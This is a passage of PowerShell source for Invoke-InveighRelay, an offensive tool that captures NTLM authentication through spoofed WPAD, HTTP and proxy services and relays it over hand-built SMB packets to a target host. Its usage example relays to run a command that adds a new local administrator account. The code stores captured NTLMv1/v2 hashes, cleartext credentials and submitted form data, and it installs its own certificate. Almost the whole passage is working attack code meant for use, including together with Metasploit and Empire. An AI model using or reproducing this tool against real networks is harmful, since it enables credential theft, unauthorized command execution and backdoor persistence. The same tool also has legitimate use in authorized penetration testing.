Target -IP address of system to target for SMB relay. - -.PARAMETER Tool -Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's -PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. -0 = None, 1 = Metasploit/Meterpreter, 2 = Empire - -.PARAMETER Usernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous/NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to -Anonymous can prevent browser login prompts. - -.PARAMETER WPADAuthIgnore -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login -popups for authenticated wpad.dat requests such as Firefox. - -.EXAMPLE -Invoke-Inveigh -HTTP N -Invoke-InveighRelay -Target 192.168.2.55 -Command "net user Inveigh Spring2017 /add && net localgroup administrators Inveigh /add" - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", - [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", - [parameter(Mandatory=$false)][Array]$Usernames = "", - [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "", - [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", - [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", - [parameter(Mandatory=$false)][Int]$HTTPPort = "80", - [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", - [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", - [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", - [parameter(Mandatory=$false)][Int]$RunTime = "", - [parameter(Mandatory=$true)][String]$Command = "", - [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", - [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", - [parameter(Mandatory=$false)][String]$Service, - [parameter(Mandatory=$true)][String]$Target = "", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", - [parameter(Mandatory=$false)][Switch]$SMB1, - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - Write-Output "Error:$($invalid_parameter) is not a valid parameter." - throw -} - -$inveigh_version = "1.3" - -if($ProxyIP -eq '0.0.0.0') -{ - $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -if(!$FileOutputDirectory) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $FileOutputDirectory -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.POST_request_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList - $inveigh.valid_host_list = New-Object System.Collections.ArrayList -} - -if($inveigh.relay_running) -{ - Write-Output "Error:Invoke-InveighRelay is already running, use Stop-Inveigh" - throw -} - -if(!$inveigh.running) -{ - $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList - $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList - $inveigh.log_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList - $inveigh.console_input = $true - $inveigh.console_output = $false - $inveigh.file_output = $false - $inveigh.HTTPS_existing_certificate = $false - $inveigh.HTTPS_force_certificate_delete = $false - $inveigh.log_output = $true - $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" - $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" - $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" - $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" - $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" -} - -if($StartupChecks -eq 'Y') -{ - - $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} - - if($HTTP -eq 'Y') - { - $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " - } - - if($HTTPS -eq 'Y') - { - $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " - } - - if($Proxy -eq 'Y') - { - $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " - } - -} - -$inveigh.relay_running = $true -$inveigh.SMB_relay = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $LogOutput = "N" - $ShowHelp = "N" - - switch ($ConsoleOutput) - { - - 'Low' - { - $ConsoleOutput = "Low" - } - - 'Medium' - { - $ConsoleOutput = "Medium" - } - - default - { - $ConsoleOutput = "Y" - } - - } - -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -$inveigh.status_queue.Add("Inveigh Relay $inveigh_version started at $(Get-Date -format 's')") > $null - -if($FileOutput -eq 'Y') -{ - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay $inveigh_version started") > $null -} - -if($LogOutput -eq 'Y') -{ - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay started") > $null - $inveigh.log_output = $true -} -else -{ - $inveigh.log_output = $false -} - -if($firewall_status) -{ - $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null - - $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 - $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" - - if($firewall_powershell) - { - $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null - } - -} - -if($HTTP -eq 'Y') -{ - - if($HTTP_port_check) - { - $HTTP = "N" - $inveigh.status_queue.Add("HTTP Capture/Relay Disabled Due To In Use Port $HTTPPort") > $null - } - else - { - $inveigh.status_queue.Add("HTTP Capture/Relay = Enabled") > $null - - if($HTTPIP) - { - $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null - } - - if($HTTPPort -ne 80) - { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null - } - } - -} -else -{ - $inveigh.status_queue.Add("HTTP Capture/Relay = Disabled") > $null -} - -if($HTTPS -eq 'Y') -{ - - if($HTTPS_port_check) - { - $HTTPS = "N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture/Relay Disabled Due To In Use Port $HTTPSPort") > $null - } - else - { - - try - { - $inveigh.certificate_issuer = $HTTPSCertIssuer - $inveigh.certificate_CN = $HTTPSCertSubject - $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null - $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null - $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) - - if(!$certificate_check) - { - # credit to subTee for cert creation code https://github.com/subTee/Interceptor - $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" - $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) - $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" - $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) - $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" - $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" - $certificate_key.KeySpec = 2 - $certificate_key.Length = 2048 - $certificate_key.MachineContext = 1 - $certificate_key.Create() - $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" - $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") - $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" - $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) - $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" - $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) - $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" - $certificate.InitializeFromPrivateKey(2,$certificate_key,"") - $certificate.Subject = $certificate_distinguished_name - $certificate.Issuer = $certificate_issuer_distinguished_name - $certificate.NotBefore = (get-date).AddDays(-271) - $certificate.NotAfter = $certificate.NotBefore.AddDays(824) - $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId - $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") - $certificate.HashAlgorithm = $certificate_hash_algorithm_OID - $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) - $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" - $certificate_basic_constraints.InitializeEncode("true",1) - $certificate.X509Extensions.Add($certificate_basic_constraints) - $certificate.Encode() - $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" - $certificate_enrollment.InitializeFromRequest($certificate) - $certificate_data = $certificate_enrollment.CreateRequest(0) - $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") - $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) - $inveigh.HTTPS = $true - $inveigh.status_queue.Add("HTTPS Capture/Relay = Enabled") > $null - } - else - { - - if($HTTPSForceCertDelete -eq 'Y') - { - $inveigh.HTTPS_force_certificate_delete = $true - } - - $inveigh.HTTPS_existing_certificate = $true - $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null - } - - } - catch - { - $HTTPS = "N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture/Relay Disabled Due To Certificate Error") > $null - } - - } - -} -else -{ - $inveigh.status_queue.Add("HTTPS Capture/Relay = Disabled") > $null -} - -if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') -{ - - if($Challenge) - { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - - if($MachineAccounts -eq 'N') - { - $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null - $inveigh.machine_accounts = $false - } - else - { - $inveigh.machine_accounts = $true - } - - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($WPADAuth -eq "NTLM") - { - $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) - - if($WPADAuthIgnore.Count -gt 0) - { - $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null - } - - } - - $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) - - if($HTTPResetDelay.Count -gt 0) - { - $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null - $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null - } - -} - -if($Proxy -eq 'Y') -{ - - if($proxy_port_check) - { - $HTTP = "N" - $inveigh.status_queue.Add("Proxy Capture/Relay Disabled Due To In Use Port $ProxyPort") > $null - } - else - { - $inveigh.status_queue.Add("Proxy Capture/Relay = Enabled") > $null - $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null - $ProxyPortFailover = $ProxyPort + 1 - $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_WPAD_IP`:$ProxyPortFailover; DIRECT`";}" - $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) - - if($ProxyIgnore.Count -gt 0) - { - $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null - } - - } - -} - -$inveigh.status_queue.Add("Relay Target = $Target") > $null - -if($Usernames) -{ - - if($Usernames.Count -eq 1) - { - $inveigh.status_queue.Add("Relay Username = " + ($Usernames -join ",")) > $null - } - else - { - $inveigh.status_queue.Add("Relay Usernames = " + ($Usernames -join ",")) > $null - } - -} - -if($RelayAutoDisable -eq 'Y') -{ - $inveigh.status_queue.Add("Relay Auto Disable = Enabled") > $null -} -else -{ - $inveigh.status_queue.Add("Relay Auto Disable = Disabled") > $null -} - -if($RelayAutoExit -eq 'Y') -{ - $inveigh.status_queue.Add("Relay Auto Exit = Enabled") > $null -} -else -{ - $inveigh.status_queue.Add("Relay Auto Exit = Disabled") > $null -} - -if($Service) -{ - $inveigh.status_queue.Add("Relay Service = $Service") > $null -} - -if($SMB1) -{ - $inveigh.status_queue.Add("SMB Version = SMB1") > $null - $SMB_version = 'SMB1' -} - -if($ConsoleOutput -ne 'N') -{ - - if($ConsoleOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null - } - - $inveigh.console_output = $true - - if($ConsoleStatus -eq 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null - } - elseif($ConsoleStatus -gt 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null - } - -} -else -{ - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null - } - -} - -if($ConsoleUnique -eq 'Y') -{ - $inveigh.console_unique = $true -} -else -{ - $inveigh.console_unique = $false -} - -if($FileOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true -} -else -{ - $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null -} - -if($RunTime -eq 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null -} -elseif($RunTime -gt 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null -} - -if($ShowHelp -eq 'Y') -{ - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh-Relay") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - -} - -if($inveigh.status_output) -{ - - while($inveigh.status_queue.Count -gt 0) - { - - switch -Wildcard ($inveigh.status_queue[0]) - { - - {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh-Relay" -or $_ -like "Windows Firewall = Enabled"} - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Warning($inveigh.status_queue[0]) - } - - $inveigh.status_queue.RemoveAt(0) - } - - default - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.status_queue[0]) - } - - $inveigh.status_queue.RemoveAt(0) - } - - } - - } - -} - -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id -$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -$process_ID = $process_ID -replace "-00-00","" -[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -# Begin ScriptBlocks - -# Shared Basic Functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - - function DataLength2 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataLength4 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } - -} - -# Irkin Functions ScriptBlock -$irkin_functions_scriptblock = -{ - function ConvertFrom-PacketOrderedDictionary - { - param($packet_ordered_dictionary) - - ForEach($field in $packet_ordered_dictionary.Values) - { - $byte_array += $field - } - - return $byte_array - } - - #NetBIOS - - function Get-PacketNetBIOSSessionService() - { - param([Int]$packet_header_length,[Int]$packet_data_length) - - [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) - $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] - - $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) - - return $packet_NetBIOSSessionService - } - - #SMB1 - - function Get-PacketSMBHeader() - { - param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) - - $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) - $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) - $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) - $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) - $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) - $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) - $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) - $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) - - return $packet_SMBHeader - } - - function Get-PacketSMBNegotiateProtocolRequest() - { - param([String]$packet_version) - - if($packet_version -eq 'SMB1') - { - [Byte[]]$packet_byte_count = 0x0c,0x00 - } - else - { - [Byte[]]$packet_byte_count = 0x22,0x00 - } - - $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) - - if($packet_version -ne 'SMB1') - { - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) - } - - return $packet_SMBNegotiateProtocolRequest - } - - function Get-PacketSMBSessionSetupAndXRequest() - { - param([Byte[]]$packet_security_blob) - - [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) - $packet_byte_count = $packet_byte_count[0,1] - [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) - $packet_security_blob_length = $packet_security_blob_length[0,1] - - $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount",[Byte[]](0x0c)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer",[Byte[]](0xff,0xff)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount",[Byte[]](0x02,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber",[Byte[]](0x01,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength",$packet_byte_count) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount",$packet_security_blob_length) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob",$packet_security_blob) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS",[Byte[]](0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage",[Byte[]](0x00,0x00)) - - return $packet_SMBSessionSetupAndXRequest - } - - function Get-PacketSMBTreeConnectAndXRequest() - { - param([Byte[]]$packet_path) - - [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) - $packet_path_length = $packet_path_length[0,1] - - $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount",[Byte[]](0x04)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags",[Byte[]](0x00,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength",[Byte[]](0x01,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount",$packet_path_length) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password",[Byte[]](0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree",$packet_path) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) - - return $packet_SMBTreeConnectAndXRequest - } - - function Get-PacketSMBNTCreateAndXRequest() - { - param([Byte[]]$packet_named_pipe) - - [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) - $packet_named_pipe_length = $packet_named_pipe_length[0,1] - [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) - $packet_file_name_length = $packet_file_name_length[0,1] - - $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount",[Byte[]](0x18)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2",[Byte[]](0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen",$packet_file_name_length) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) - 